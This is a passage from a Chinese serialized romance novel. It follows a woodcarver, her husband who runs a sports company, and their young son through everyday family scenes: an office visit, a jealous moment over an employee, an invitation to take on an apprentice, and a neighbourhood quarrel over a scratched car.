孟棠将手机用枕头立着,拍了拍孟竞帆的后背,小声哄道:“睡吧,明天还要上学呢。” 孟竞帆迷蒙着眼睛点了点头。 学校中午其实让睡觉的,但小朋友都是第一次离家,没几个睡得着的。 十五分钟左右,孟竞帆睡着了。 孟棠抬头,见魏川还盯着,指了指孟竞帆,小声道:“睡着了。” 魏川轻笑:“你也睡吧,我怕跟你说话吵醒他。” 孟棠说:“我跟你打字吧。” “不用,对眼睛不好。”魏川说,“我明天再给你打电话吧,晚安。” 孟棠也道了晚安,转身搂着儿子睡了过去。 孟竞帆小朋友的上学之路异常顺利,俨然一副班级老大哥的模样,一声令下,小男生们指哪儿去哪儿。 老师算是发现了,只要哄住孟竞帆就行。 早上孟遇春送的孟竞帆上学,孟棠直接去了木雕馆,查看了馆内的温度和湿度的情况,顺道看了下展品。 她的木雕馆有学徒,但只是学徒,学门手艺谋生,不是亲传徒弟,这两者是不一样的概念。 孟棠走到学徒后面,看了会儿,指着其中一人的作品说:“线条生硬孤立,刀法很呆,没有变化,衣服褶皱要飘,刀就要快、薄,但是裙摆又得有垂感的重量,转换间就得稳,起刀和收到都要利落干净,你拖一分都不行,你这成了废料了。” 学徒泄气地叹了声气。 孟棠拍了拍他的肩膀:“不用着急。” 出了工坊,助理迎面而来:“姐。” 孟棠微微颔首:“怎么了?” 助理:“明年的仕女形象特展,要筛选的展品清单,还有,这是十一月中国非遗保护论坛上发言的演讲稿提纲,你看一下。” “行。”孟棠接过文件夹,“看完给你反馈。” “好,还有一些高校的讲座邀请,您这边怎么说啊?” 孟棠思忖半刻,说:“暂时推拒了吧,我十月要回一趟z,可能没什么空,十月下旬不是还要去一趟国外,明年再说。” “那我就给你婉拒了。” “好。” 孟棠回了自己的私人工坊。 这里就是她隔绝外界的地方,一个可以让她静心创作的地方。 日升日落,她又回到了之前沉默握刀的日子。 九月底,魏川派了司机过来接孟棠,但他自己却不在z市,跟练去了。 刚进魏家大宅,孟竞帆就被楚茵抱进了怀里。 “可把我妈想坏了。”魏思沅在一旁吐槽了句,“您现在眼里还有其他人吗?” 楚茵嗤了声:“你要是生一个,我也看在眼里,疼在心里。” 魏思沅说:“我还年轻,不想生。” “呵呵……”楚茵简直不想说什么。 再过几年,想生都生不了。 魏川在第二天中午回了z市,但公司临时有事,他又被下属叫去了公司。 他只能给孟棠打了电话,说晚上再回去。 孟棠心里有点失落,只是面上没有表现出来。 魏思沅演戏多了,对别人的情绪感知也比较敏感了,她抵了抵孟棠: “我今晚跟赵疏白出去吃饭,带你和帆帆一起。” 孟棠摇了摇头:“我就不打扰你俩的二人世界了。” “谁说打扰了啊。”魏思沅说,“我们去公司找魏川,下班后一起。” 孟棠犹豫了一瞬:“……还是不打扰他工作了。” 魏思沅给了孟竞帆一个眼神,孟竞帆立刻抱住孟棠的腿,仰着脸说:“妈妈,我想见爸爸。” 楚茵看了眼孟棠,说:“他能有什么事,正好今晚我要和你爸参加一个饭局,你们几个小的出去玩玩也好,帆帆好久不在家,带他出去转转。” 楚茵都这么说了,孟棠也不好再拒绝,说:“那我给魏川打个电话。” 魏思沅“啧”了声:“给他打什么电话?就当给惊喜了,他见到你和帆帆,一定很高兴。” 孟棠想说还是打一个吧,魏思沅抢了她的手机:“走了,帆帆,把你妈妈牵着,小姑姑带你去找你爸爸。” “三姐。”孟棠追上去,“还是给他打一个吧。” 魏思沅笑了声:“走吧,魏川你还不了解,就好你这一套。” 孟棠:“……” 第245章 日常(2) 鼎石体育文化公司,魏川与财务核对完上个月的支出,又被市场部经理拉走开会了。 “又开什么会?”魏川哀嚎。 “我就没见过不爱上班的老板,开会还要我催。”市场部经理吐槽道,“短视频平台的直播招生方案,今天必须讨论出来。” 魏川叹了声气,往椅子上一摊:“赶紧说,我老婆孩子从雁清过来了,我得早点回去。” “你配合一点,保准你快点下班。” 魏川公司里都是年轻人,甚至还有z大体院的毕业生。 魏川没有架子,也不想看见大家的牛马样,因为年岁相近,打打闹闹,公司氛围很好,偶尔也就没大没小。 大家没什么压力,薪资还不错的情况下,效率也高,毕竟这也是魏川唯一的要求了。 会议一开就是一小时,就在魏川终于欣喜可以下班时,助理又敲了门。 他在心里千万遍祈祷:“千万不要有事……千万不要有事……” “老板,有件事——” “你们不能自己拿主意吗?”魏川打断了他。 助理无辜地摇了摇头。 魏川无奈:“说吧。” 与此同时,孟棠和魏思沅带着孩子来到了鼎石。 都快下班了又来人,前台一抬眼,发现是自家的老板娘,赶紧迎了上去。 “呀,咱们小少爷也来了啊?” 孟竞帆仰头:“我叫孟竞帆。” 孟棠笑着揉了揉他的头,问:“魏川在公司吗?” “在的。”前台说,“您现在上去吗?” 孟棠看了眼手表,看时间差不多了,想要在大厅等。 魏思沅抢话:“上去,刷卡。” “好。” 魏思沅这些年名气渐盛,时常出现在各大篮球比赛现场,又是魏川的姐姐,公司里的人自然也都认识她。 刷了卡进入电梯口,魏川和魏思沅一左一右牵着孟竞帆的手进了电梯,赵疏白这个“司机”没上去,留在了大厅的接待区。 孟棠没要人接待,熟门熟路来到了魏川的办公室。 正巧遇到他助理出来,助理先是一愣,后又赶紧将人迎进去,说: “老板估计还有半小时才能结束,现在要去叫吗?” “不用。”孟棠说,“我们在外间等,你忙你的吧。” “好的。” 助理十分有眼色,先给孟棠和魏思沅上了茶水,又给孟竞帆拿了玩具。 孟竞帆坐在茶几的地毯上搭积木,魏思沅和孟棠挨在一起,给她讲圈内的八卦,听得孟棠一愣一愣。 两人也许久未见,聊着聊着就这么忘了时间,孟竞帆走了都不知道。 魏川还在里面的小会议里忙碌,谁都没注意到孟竞帆开了一条缝,闷不作声溜了进来。 为了方便做事,包括魏川在内,几个人是围在一张圆几边上的,旁人负责讨论,魏川负责拍板。 只是有两人争来争去,一时没定下来具体的方案。 孟竞帆看了眼魏川,眼珠子一转,偷偷趴了下去,四肢着地,打算吓一吓他老子。 圆几边讨论得热火朝天,魏川不耐烦地蹙了眉,心早已飞回了家。 吵吵吵,什么时候才能完? 魏川开了手机,发现已经过了七点。 其余人察觉到他的焦躁,顿时噤了声,平日里魏川很好说话,但冷了脸,谁都害怕。 “要不这样——” “哈!” 惊天一声脆响惊得圆几边的四五个人魂都飞了,胳膊肘打起了架,一边咖啡撒了西装裤腿,一边纯净水湿了电脑。 魏川更是惊得一个激灵,“卧槽”应声而出。 “哈哈……” 小魔王丝毫不知道自己闯了祸,只知道吓到了他老爸。 魏川睁大眼睛,看着出现在自己面前的孟竞帆久久没回神。 “你怎么在这儿啊?” 孟竞帆扑进魏川的怀里:“跟妈妈一起来的。” “你妈妈来了?”魏川伸长脖子去看。 其余人一见是老板的儿子,哪还有什么意见,默默收拾了桌子和地面,只有一个穿着职业装的女生一直盯着孟竞帆。 孟竞帆察觉到,反问:“阿姨,你看我干什么?” 魏川下意识看过去,发现人家的裙子明显湿了一块。 他快速移了视线,对孟竞帆“啧”了声:“赶紧道歉。” “对不起。”孟竞帆乖乖道了歉。 “没事。”运营部门的经理乔钰不尴不尬地笑了笑。 魏川也有点尴尬,说:“我儿子有点调皮,不好意思了各位,今天的损失我来赔偿,我看你们衣服多多少少都脏了,要不,今天就到这里?” “行。”有人立刻搭了腔。 老板的心都飞了,强留下来也没用。 “可我没带衣服。”乔钰有些为难地捂着裙子,“你们谁有多余的外套,能借我吗?” 说完,余光一直瞥向魏川。 话落,孟棠进来了,正好将这一幕尽收眼底。 “魏川。”孟棠走过去,神情有些淡。 魏川转了头,看到孟棠时眼眸一亮,儿子也不要了,扔在椅子上迎了过去:“你怎么不说一声就来了?” “怎么?不能来?”孟棠稍稍挑了下眉。 嗯?魏川有些惊讶,怎么感觉她心情不太好呢,甚至语气有些挑衅的成分。 魏川才不管别人,一把抱住孟棠晃了晃:“想死我了。” 孟棠“啧”了声:“别闹了,放开我。” 说话的间隙,孟棠和乔钰对上了视线。 魏川也知道在这么多人面前不太好,默默松开了她。 孟棠稍稍抬起下巴,指使魏川:“我记得你休息室里有一件我的外套,黑色的针织衫,去拿给这位……请问怎么称呼?” “乔钰。”乔钰直视孟棠,“运营部经理。” 孟棠微微颔首:“乔经理,不好意思,弄脏了你的衣服,我们会原价赔偿。” 孟棠默默记下她的服装品牌。 魏川从休息室拿了孟棠的外套递给了她,孟棠接过后,笑着递给了乔钰。 乔钰接过,干巴巴道了谢。 之后所有人不再打扰一家三口,魏川肆无忌惮地抱住孟棠亲了口。 孟棠躲开,没让他得逞,径自走到孟竞帆身边,将他教训了一遍。 可孟棠对他一向温柔,孟竞帆嘴上说知道了,实则根本不怕她。 魏川看出来这点,拉住孟棠:“我已经教训过了,你还没告诉我,你俩怎么过来了?” “跟三姐一起来的。”孟棠平铺直叙,“小白哥也来了,说约着一起吃晚饭,他俩在楼下的大厅。” 刚才孟竞帆不见的时候,孟棠就知道他肯定溜进了会议室,于是找了过来。 魏思沅刚才接到赵疏白的电话,下去陪他了。 “那还等什么。”魏川一手抱起儿子,一手揽住孟棠,“走吧。” 出了办公室的门,孟棠不经意地问:“乔经理什么时候进公司的?” “不记得了,好像是老邢的人。”魏川说,“他带出来的。” “哦,那你们平时工作经常在一起吗?” “也没经常在一起吧,我都懒得来公司。” 公司有人管,非来不可的时候他才会过来。 孟棠点了点头,有点心不在焉。 到了一楼大厅,孟竞帆跑到魏思沅的腿边:“姑姑,走了。” 魏思沅回眸一瞧,拉着赵疏白站起了身。 她站得远,看得清楚,还不到跟前,就对孟棠说:“你走路发什么呆啊?” 孟棠没听见,还是魏川握紧了她的肩膀才让她回神。 “没事。”孟棠摇了摇头。 她只是凭借女人的直觉,觉得乔钰对魏川有点不一样。 但如果直接判定,万一弄错了,会让乔钰和魏川两人都尴尬。 还得再观察观察。 第246章 日常(3) 想通了,孟棠没再纠结。 看魏川的态度,他对这个乔经理称得上没什么印象。 晚上的餐厅是魏思沅订的,她和赵疏白经常过来,适合情侣或者夫妻。 孟棠听闻,脚步一顿:“帆帆不太适合进这个餐厅。” “嗯?”魏思沅也停下脚步“咱们帆帆不是很乖吗?怎么不合适了?” 孟棠将他在办公室干的事情告诉魏思沅,惹得她拍腿大笑。 “你真的是……”魏思沅揉了揉小侄子的脑袋,“怎么没把你爸吓傻啊?” 孟竞帆哼了声:“我已经道歉了。” “但你这样是不对的知道吗?”孟棠说,“你道歉了,人家就要原谅你了?你爸爸当时在工作,你也打扰了他。” “好了好了,还在外面呢。”魏思沅示意赵疏白抱起孟竞帆,“这样吧,你俩进去吃,我带帆帆去别的地方玩,到时候咱们家里集合。” “啊?”孟棠一愣,“还是——” “那我俩就不客气了。”魏川打断孟棠的话,一手搂着她,一手逗弄了下儿子的下巴,“让你小姑带你去玩。” 孟竞帆情愿去玩,他还不饿。 魏川更情愿和孟棠二人世界,好端端的沙发不坐,非得跟孟棠挤在一处。 餐桌是单人宽面,坐得下两人,但有些别扭。 孟棠推了推魏川:“坐对面好说话,这样挤着,菜都不好上。” 在外面不注意亲密的尺度确实惹人尴尬,魏川起身,坐去了对面。 上餐后,魏川一直照顾孟棠,随手小事都是多年养成的习惯。 孟棠边吃边问:“你对你们公司的员工都了解吗?” 魏川说:“都了解怎么可能,管理层比较了解。” 回完话,魏川有些惊讶地抬眸:“你今天怎么一直在问我公司的事?” 来的路上也问了两句。 “关心关心你。”孟棠十分自然地接了句,“今晚这家餐厅要吃吗?” “还行。”魏川说,“魏思沅一向会吃,她来的餐厅水准不会低。” 孟棠点了点头:“你接下来工作会很忙吗?回不回雁清了?” “过了十一月会忙,国庆后陪你在雁清待一个月。”魏川说,“我记得你十一月好像有个什么演讲,到时候陪你一起。” 孟棠失笑:“我可没跟你说过这事,又去打扰小周了吧?” 小周是孟棠的助理。 “我就问了你的行程。”魏川说,“我一问,小周就告诉我了。” 倒不是小周不保密,而是孟棠就没给魏川设过限。 这夫妻俩感情好的都不正常,一度让外界怀疑是作秀。 因为魏川总会跟着孟棠各大城市跑黄杨木雕的相关活动,他自己又有庞大的粉丝基础,每次有点动静,都会在他们的圈层引起些热议。 也许是短视频上太多做戏的情侣博主,魏川每次出现都表现得很完美,难免遭到网友放大的分析和审判。 孟棠不上网,从来不理会这种声音。 但魏川还活跃在各大赛场的幕后,他所有社交平台也需要运营,账号虽然在他手里,但内容也不是随便发的。 公司社交媒体这块的经理最怕的就是有人在网上说魏川和孟棠的感情不好。 因为一旦说了,魏川就跟火力全开的机关枪似的无差别扫射。 几次之后,网友们给他下了评判——不是真爱演就是真爱妻。 孟竞帆的到来让不少质疑的网友直呼真爱,依旧还有很小一部分的脑残认为两人貌合神离。 魏川都懒得搭理了。 两人聊到这个话题,孟棠看着魏川笑了下:“你真有精力,有些人不值得搭理。” “我就是受不了别人说你。”魏川哼了声,“之前就不该客串魏思沅那部剧,后来上了一档非遗节目,他们还质疑你的年龄和外貌,各种编排的,一个个闲得慌。” 孟棠知道魏川护着自己,安抚了他两句,让他陪自己看看江面的风景。 孩子不在,还是挺惬意的,吃完饭,魏川挤到孟棠的沙发上,半拥着她,和她一起看看夜景。 孟棠看到魏川打开了手机相册,问:“你内存还够吗?” 不知道从什么时候开始,他拍照上了瘾,手机里都是孟棠和孟竞帆的照片。 “够。”魏川说着又对着两人拍了张,“现在多记录记录,到老了拿出来看,多好。” 孟棠失笑:“嗯。” 魏川这个幼稚的男人,什么都让着他就好了。 许久不见,两人在餐厅待了两个多小时,上车后,孟棠给魏思沅打了电话。 她和赵疏白带着孟竞帆已经回去了。 孟棠转头跟魏川说了声:“咱们也回去吧,帆帆见不到我,不肯睡觉。” “娇气。”魏川吐槽了句,“非得看见你才能睡,什么毛病。” 孟棠白他一眼:“跟你一个毛病。” “你是我老婆,他喊你妈,就不是一个性质的。”魏川强词夺理,“咱俩才是睡一张床的关系,我看见你再睡觉有什么问题吗?” “没有。”孟棠哄着他,“你赶紧开车。” 魏川一脚油门轰到了家,孟竞帆还在客厅玩,楚茵、魏立峰和魏思沅都陪在一旁。 见两人回来,孟竞帆冲上去抱住了孟棠的腿。 楚茵笑道:“这孩子,跟你爸小时候一个样,黏人。” 孟棠戏谑地看向魏川,魏川清了清嗓子:“谁黏人了,妈,你可别毁我清誉啊。” 魏立峰哼了声:“三岁把我枕头从卧室扔到楼下花园的人不是你?” 魏川:“……” 孟棠兜不住笑,躲着魏川挨着魏思沅坐了下来。 “反正我不记得了。”魏川最后来了这么一句。 不记得就没发生过。 魏川在孟棠身边坐下,手机嗡了声,他拿出来看了眼,是条信息。 孟棠下意识看过去,看到了信息内容:今天谢谢孟小姐的衣服,明天给您送过去——乔钰。 楚茵察觉到孟棠脸色不对,凑过去看了眼魏川的手机,好在他没躲,只是被吓了一跳:“妈,你干嘛?” “谁的信息?”楚茵问。 “公司员工。”魏川将前因后果说了遍,“我明天不去公司,让她交给我助理就行。” “什么员工能叫你老婆孟小姐?再不济也得叫一声老板娘吧?”楚茵一针见血。 魏川恍然大悟:“我说看着总感觉哪里不对呢。” 孟竞帆打了哈欠,孟棠低头碰了碰他的小脸:“困了?” “嗯,妈妈,我们睡觉去吧。” “宝贝,你今晚跟爷爷奶奶睡,好不好啊?”楚茵去哄他。 孟竞帆有点为难,他还是想跟妈妈一起睡。 楚茵在他耳边不知道说了什么,孟竞帆点了点头:“行,我今晚跟奶奶睡。” 孟棠说:“妈,他睡觉不太老实。” “没事。”楚茵摆摆手,“你们也都休息去吧。” 所有人起身,楚茵拉住魏川,提醒了句:“你媳妇不高兴了,赶紧去哄哄。” 魏川应了声:“我知道,我现在就去。” 第247章 日常(4) 魏川回到房间并没有急着哄人,孟棠见他什么也没说,径自去了浴室。 魏川的眼神追过去,笑了笑,给助理打了个电话。 助理24小时待机,很快接通了,不过他有点惊讶,因为魏川是个好老板,从不占据下属的下班时间。 这么晚了打电话过来,必定是有事。 果然,魏川一句废话也没有,上来就问:“今天一起开会的乔经理和老邢的关系怎么样?” 助理不解他怎么问这个问题,说:“师徒关系挺好的。” 魏川“嗯”了声:“老邢明年要去北边分部,让她跟着一起吧,不愿意去的话就跟她走正常的解约流程。” 助理一愣,这话的信息量可大了。 老邢明年要去的分公司是今年刚成立的,老邢过去是主持大局,当然,他本身就是北方人,以后只怕不会再回南方。 可乔钰是南方人,去北方的话,肯定不习惯,也不利于事业发展。 如果不愿意,解聘?这是得罪谁了? 半晌,助理还是决定冒犯一下:“乔经理她……” “按我说的办。”魏川第一次强硬地打断了助理的话。 “好的。”助理再不敢说一句废话。 魏川挂断电话后摇了摇头,他总不能说是乔钰得罪了孟棠。 现在再回想孟棠几次三番问公司和乔钰的事,魏川心里也有数了。 孟棠湿着头发从浴室出来,魏川殷勤地迎上去:“躺下,我给你吹头发。” 结婚这些年,孟棠已经习惯了魏川的服务,今天破天荒地拒绝了:“不用了,我自己来。” 魏川笑了声,一把将她拦腰抱起,转身进了盥洗室。 “你放我下来。”孟棠打算今晚不吃他这套。 魏川将她放下,抵在盥洗台边缘,头一伸就要吻下去,孟棠急得抬手堵住他的嘴:“吹头发的呢?” 魏川轻哼,非得这么治。 不过孟棠拒绝他的吻,他也有点不爽。 可她还生着气呢,也不能惹太过。 魏川打开吹风机,示意她转过身体。 孟棠转过身,看向镜中的自己。 她的目光在魏川的脸上来回逡巡,和以前一样,没有一丝一毫的改变。 外表看着比以前成熟了些,其实骨子里还是幼稚。 但这种幼稚,只针对孟棠,所以她很喜欢。 长发慢悠悠吹了二十几分钟,魏川挤了护发精油给她发尾抹上。 洗了手后,他一把将孟棠掐抱起来,放到盥洗台上。 孟棠吓了一跳,双手撑住他的宽肩。 魏川上前堵住她,笑着问:“生什么气?” “没有啊。”孟棠装傻,“我什么时候生气了?” 魏川用额头磕了下孟棠的额头:“还瞒我?不舒服了为什么不说?” 孟棠抿了抿唇:“你怎么知道?” “一开始确实不知道。”魏川说,“是接到乔经理的信息才感觉到不对劲的,你白天就察觉到了,为什么不说?” 他白天一门心思都在孟竞帆身上,孟棠来了又在孟棠身上,自然没注意到乔钰的小动静。 孟棠说:“只是凭直觉看出来她对你有点意思,毕竟是正儿八经的员工,我怎么好说?万一不是,不是污蔑吗?” “挂不得从公司出来一直问她的事。”魏川笑了下,“下次吃醋吃明显一点。” 孟棠白他一眼,傲娇地抬了下巴:“我现在知道了,你打算怎么处理?” “我都处理了。”魏川一副求表扬的臭屁模样。 “处理了?”孟棠一愣,“你不会把人开除了吧?” “没有。”魏川跟她解释,“她和老邢是师徒关系,老邢明年要去北方分部,乔经理跟着一起去。” 孟棠还以为乔钰真的要去分公司,点了点头:“这样也好。” “好了,事情解决了,现在该解决咱俩的事了。”魏川眯了眯眼,直勾勾盯着孟棠。 孟棠直觉不好,整个人往后仰:“咱俩有什么事?” 魏川又往前逼近一步:“下次不管什么事,都要跟我说,儿子都三岁了,还跟我考虑这考虑那的。” “知道了。”孟棠笑了声,“我本来也打算跟你说的,你追上来,我以为你知道,但你什么都没说,让我一个人去洗了澡,我就——” “你就使了小性子。”魏川截断她的话,“对吧?” 孟棠:“……我都多大了,我还使——唔。” 一句话未完,孟棠被某人凶残地堵住了唇舌。 孟棠整个人没坐住,往后倒的时候,被魏川一把揽住后背抱了回去。 她最后一点可怜的呼吸都被魏川蚕食殆尽了。 今晚孟竞帆跟了楚茵睡觉,多多少少方便了魏川。 孟竞帆这小子也不知道怎么回事,在雁清还能自己一个人睡,每次回z市,他非得跟自己和孟棠睡。 亲了好一会儿,孟棠狠狠捶了下魏川的胸膛,她快没氧气了。 魏川松开了她,恋恋不舍地往回啄了下,低声说:“我去洗澡,你去床上等我。” 孟棠推开他,下了盥洗台,没说等,也没说不等。 魏川厚脸皮,只当孟棠默认了。 他火急火燎地洗了澡,火烧屁股地上了床,孟棠却突然掉了链子,转头跟魏川说:“我开个视频,你自己躲好。” “谁啊?”魏川皱着眉头,十分不爽。 孟棠:“谭曦。” 魏川:“……” 孟棠也没管他,自顾自和谭曦开了视频。 谭曦的个人展要在一月开,邀请孟棠去东麓。 孟棠有些惊讶:“这个准备要很久,之前怎么没有一点风声?” 谭曦说:“毕竟是我第一次的个人展,我一直很紧张,怕弄不起来,什么也没说,我之所以邀请你,是想带你看一个人。” “谁啊?”魏川忍不住出了声。 谭曦吓了一跳,随即失笑:“魏川,我真的受够你了,你能不能给点自由给孟棠,一个小孩,我想让她看的是一个小孩。” 魏川:“……” 孟棠似有所感:“小孩?你是不是想让我收徒?” 谭曦:“你过来看看资质再说,这个小孩跟我家里有点亲戚关系,因为家庭原因,他不太适合待在东麓了,我就想到了你。” “我知道你有自己的收徒标准,说不定还要过孟大师那一关,我只是让你看看,觉得合适咱们再说。” “行。”孟棠当即答应了。 她也一直在找合适的人选,但始终找不到。 谭曦亲自开口推荐的人,只怕有点天赋。 第248章 日常(5) 花园里传来阵阵笑声,楚茵带着孟竞帆在玩。 魏立峰和魏思嘉上班去了,别墅里只剩下祖孙俩。 半小时后,孟竞帆玩累了,楚茵哄着他:“奶奶带你去洗个澡,换身衣服。” “我要妈妈。”孟竞帆撇了撇嘴。 他已经很久没看见妈妈了。 楚茵抬头往三楼看了眼,说:“你爸妈估计还没起,奶奶陪你玩不好吗?” “当然好啊。”孟竞帆嘴巴很甜,但情绪明显不高兴了,“可我还是想要妈妈。” 真是小祖宗! 楚茵只好哄着:“行,你先跟奶奶去洗澡,身上都是汗,感冒就不好了。” 孟竞帆一屁股撅起来,说:“洗完澡再去,汗很臭。” 楚茵被他逗笑:“怕你妈妈熏着啊?” 孟竞帆重重点了头。 楚茵笑着在他小屁股上拍了下:“你就不怕奶奶也给你熏着了。” 楚茵没什么给小孩洗澡的经验,还是家里的阿姨上手的。 孟竞帆换了身干净的衣服后,跑上三楼的主卧,哐哐砸门。 魏川猛地被惊醒,连带着怀中的孟棠也蹙起了眉。 昨晚闹得晚,魏川像喂不饱的饿狼,将她翻来覆去,拆骨入腹。 孟棠眼睛都睁不开,下意识推了下魏川:“你去看一下,估计是帆帆。” 魏川也懒得起,抱着孟棠蹭了蹭:“不理他。” “妈妈……” 门外开始喊人了。 孟棠无奈地叹了声气,就要起床时被魏川一把按下:“我去我去,你睡。” 孟棠心安理得地闭上眼睛。 魏川穿上衣服开了门,孟竞帆像头蛮牛,猛地冲进房里,被他眼疾手快转身捞住: “你要干什么?” 孟竞帆在空中踢了踢腿:“我要妈妈。” “你妈还在睡呢。”魏川关上房门,“闭嘴静音,我就让你看。” 孟竞帆乖乖闭了嘴巴。 魏川将他放到床上,小声说:“你在这陪着,我去下面弄一份早餐上来。” 胖胖的小手给他比了个“ok”的手势。 等魏川走了,孟竞帆从孟棠身上翻过去,和她面对面,小声说:“妈妈,起床了。” 孟棠忍着笑意,想看看他到底要干什么。 孟竞帆不甘被忽略,捧着孟棠的脸亲了口:“妈妈,起床了。” 孟棠无奈地睁开眼睛:“你吃过早饭了?” “吃了。”孟竞帆拱进孟棠怀里,“奶奶还带我去花园玩了,我还洗了澡,你闻闻,香不香?” 孟棠搂住他,使劲嗅了下:“香。” 孟竞帆缩着肩膀咯咯笑,魏川进来就照着他屁股打了下:“我就知道你不老实,是不是你把人吵醒的?” “妈妈本来就醒着。”孟竞帆理直气壮。 魏川懒得跟他计较,转眼对孟棠说:“起来刷牙吃早饭,阿姨一会儿送上来。” 孟竞帆识相地从孟棠怀里起身。 阿姨敲响了卧室的门,魏川指了指阳台:“端去那边的桌上。” 孟棠不太喜欢西式的早餐,阿姨做了小笼包和南瓜小米粥,还有凉拌海带丝、水煮蛋和紫薯山药泥。 那点小笼包不够魏川塞牙缝,阿姨给他准备的是牛肉面。 孟棠从盥洗室出来后,去衣帽间换了身休闲装。 “去吃早餐。”魏川指了指阳台,“我去洗漱。” 孟棠来到圆桌边,对孟竞帆招了招手:“紫薯山药泥吃不吃?” 孟竞帆摇摇头:“我要吃小笼包。” “你不是说吃过了?”孟棠故意取笑他,“还能吃下吗?” 孟竞帆点了点头:“能吃三个。” 孟棠笑了声:“那赶紧坐下,再吃个鸡蛋吧。” “好。”孟竞帆爬上椅子,小腿甩了下。 “粥要不要再来半碗?”孟棠抬眸看着孟竞帆笑。 “好的,妈妈。” 孟棠轻笑一声:“你真是来者不拒。” 魏川走过来,听到这么一句,笑着问:“什么来者不拒?” 孟棠下巴微抬:“你儿子,跟你一样能吃。” “妈妈,你嫌弃我。”孟竞帆不满地抗议了句。 “你妈哪是嫌弃你。”魏川刮了下他的肚皮,“明明是为你的身材着想,你再吃下去,要成小猪了,有点身材焦虑好吗?你们班有小女生喜欢你吗?” 孟棠“啧”了声:“你跟孩子说什么呢?” 魏川笑着揉了揉孟竞帆的头:“吃吧。” “什么是身材焦虑啊?”孟竞帆塞了一口包子问孟棠,“老师们都可喜欢我了。” “是是是,喜欢你。”魏川给他擦了下唇边的油渍,“喜欢你胖嘟嘟。” 孟竞帆不满地抗议,却因嘴里塞着包子只能唔唔唔。 孟棠拿起一个包子塞进魏川的嘴里:“吃你的。” 魏川在孟棠身边坐下,左手边伺候媳妇,右手边伺候儿子。 吃得差不多了,他把剩下的全都解决进自己的五脏庙。 孟棠对孟竞帆招了招手:“过来。” 孟竞帆翻身滑下椅子,冲进孟棠的怀里,撒娇的模样让魏川没眼看。 孟棠将孟竞帆抱坐在自己腿上,说:“等元旦的时候,跟妈妈出去玩吗?” “好。”孟竞帆一口答应,“去哪儿玩啊?” 孟棠问:“你还记不记得谭曦阿姨了?” 孟竞帆摇摇头:“音音阿姨。” 谢泠音嫌干妈把她叫老了,一直让孟竞帆叫她音音阿姨。 “不是音音阿姨,是妈妈另外一位好朋友。” “那爸爸去吗?” “去。”魏川忙不迭表态,“我不去谁伺候你啊。” 谭曦和孟棠谈的时间正好在元旦放假期间,跨年大概率在东麓庆祝一下。 孟竞帆还小,有时候走累了非得让人抱,儿童车是不坐的。 孟棠最多抱十分钟,魏川就不一样了,感觉力气没有上限似的。 一家三口悠闲地用了早餐。 孟竞帆待不住了,要下楼去玩。 孟棠把儿子牵下楼,魏川亦步亦趋,刚到楼梯口,接到了助理的电话。 魏川顺手接了:“喂。” “乔经理想要见您。” “没空。”魏川直接挂了电话。 第249章 收徒(1) 在z市待了五天,孟棠和魏川回了雁清。 “太爷爷~方姐~英姐~” 还没到院里,孟竞帆的声音跟巷口卖年糕的喇叭有一拼。 “哎呦,我的小少爷回来了。” 英姐放下簸箕,开心地迎了上来,二话不说将孟竞帆抱了起来。 “放我下来。”孟竞帆扭了下腰,“我给你们带了礼物呢。” 孟遇春从后院慢吞吞地出来,笑眯眯叫了声孟竞帆的小名。 孟竞帆跑过去,嘴上一阵好哄,手上作势搀扶,惹得孟遇春笑个不停: “这小子以后绝对会哄女孩子。” 魏川说:“哄一个我能接受,要同时哄几个我可接受不了。” 孟棠看向魏川:“应该……不会吧?” 魏川哼了声:“他可以同时哄方姐和英姐,你觉得呢?” 孟棠:“……” 看来还得好好教育。 小孩子嘴甜一点惹人喜欢,长大就是油嘴滑舌了。 方姐笑问:“你们不说明天回来的吗?怎么闷不声的就回了?” “本来是想赶明天午饭的。”魏川说,“后来下午实在无聊,就和孟棠商量了下,说走就走了。” “又开车回来的?”方姐边说边转头,“你俩先歇着,我再炒两个菜。” “好嘞。” 魏川开了四五个小时的车,确实有点累。 但见方姐一个人在厨房忙,又不忍心,拿了两头蒜到院子里开始剥。 孟竞帆有无限精力,在家待不住两分钟,一溜烟跑没影了。 虽说左邻右舍都有人,但没人放心这么小的孩子丢失在眼皮子底下,英姐追了上去。 孟竞帆在雁清有一堆小玩伴,年龄差在三岁之间,附近谁不知道他是个小少爷,家长们乐意让孩子哄着孟竞帆。 但今天,有个五岁叫豆豆的小男生看到孟竞帆的新玩具当即不干了,哄了好几句,孟竞帆也没给他玩。 主要孟竞帆还新鲜着呢,要是以往,早递过去了。 豆豆也是鬼机灵,一个转身挡住了英姐的视线,直接抢走了孟竞帆的玩具。 孟竞帆愣了下,看着空空如也的掌心追了过去:“给我。” “我不给我不给,给我玩一下怎么了,小气鬼。” 英姐听到动静,赶忙上前阻止,但别小瞧五岁男孩的力气和灵活。 魏川在院中帮着方姐剥蒜呢,突然一声鬼哭狼嚎,是他家孟竞帆的声音。 几乎是条件反射,魏川扔下蒜头跑了出去,孟棠和方姐紧随其后。 豆豆将孟竞帆的长枪玩具扔到了地上,转头扑进他妈的怀里鬼吼鬼叫。 英姐脾气好,这会儿完全忍不住了,指着豆豆妈说:“能不能管管你儿子,把我们帆帆玩具都弄坏了。” “还有车车。”孟竞帆指了指自家的雷克萨斯的商务车。 英姐心里一抖,凑近了看,才发现车门上有两道划痕,刚才只顾着安抚帆帆,没注意到豆豆是什么时候将车划坏的。 豆豆妈一看,立即耍赖了:“你一个三岁小孩的话怎么可信,这里这么多小孩,怎么可能是我家豆豆划的?我家豆豆一向很乖。” “就是他划的。”孟竞帆的小胸脯此起彼伏,看起来相当生气,“赔钱。” “小小年纪张口闭口都是钱,你家有钱了不起啊?别是装的吧?谁家有钱人待在雁清啊?” “闭嘴。” 魏川赶过来就听到这么一句,脸色当即冷了。 豆豆妈被吓了一跳,下意识后退了一步。 魏川俯身将孟竞帆抱起来,给他擦了眼泪,说:“别哭了,爸爸一定让他把玩具赔给你,行吗?” 孟竞帆哼唧了声,撇过了头:“不要了。” 魏川“啧”了声,也不明白他这些小洁癖哪来的。 只要是不喜欢的人碰过他的东西,无论多贵,他都能扔了。 魏川示意英姐将孟竞帆抱回院里,转头跟豆豆妈说:“说说吧,怎么赔偿?” “什么怎么赔偿?”豆豆妈虽有心虚,但理直气壮,“这么多小孩,难道就是我家豆豆一个人的错了?” 魏川转头面对四五个小孩,笑眯眯地问:“有没有谁看见是谁划的车啊?” 几个小孩面面相觑,同时指向了豆豆。 魏川平日里对他们好得很,这几个眼皮子也活套。 更何况,这事确实是豆豆做的。 孟棠围观了全程,说:“报警吧。” 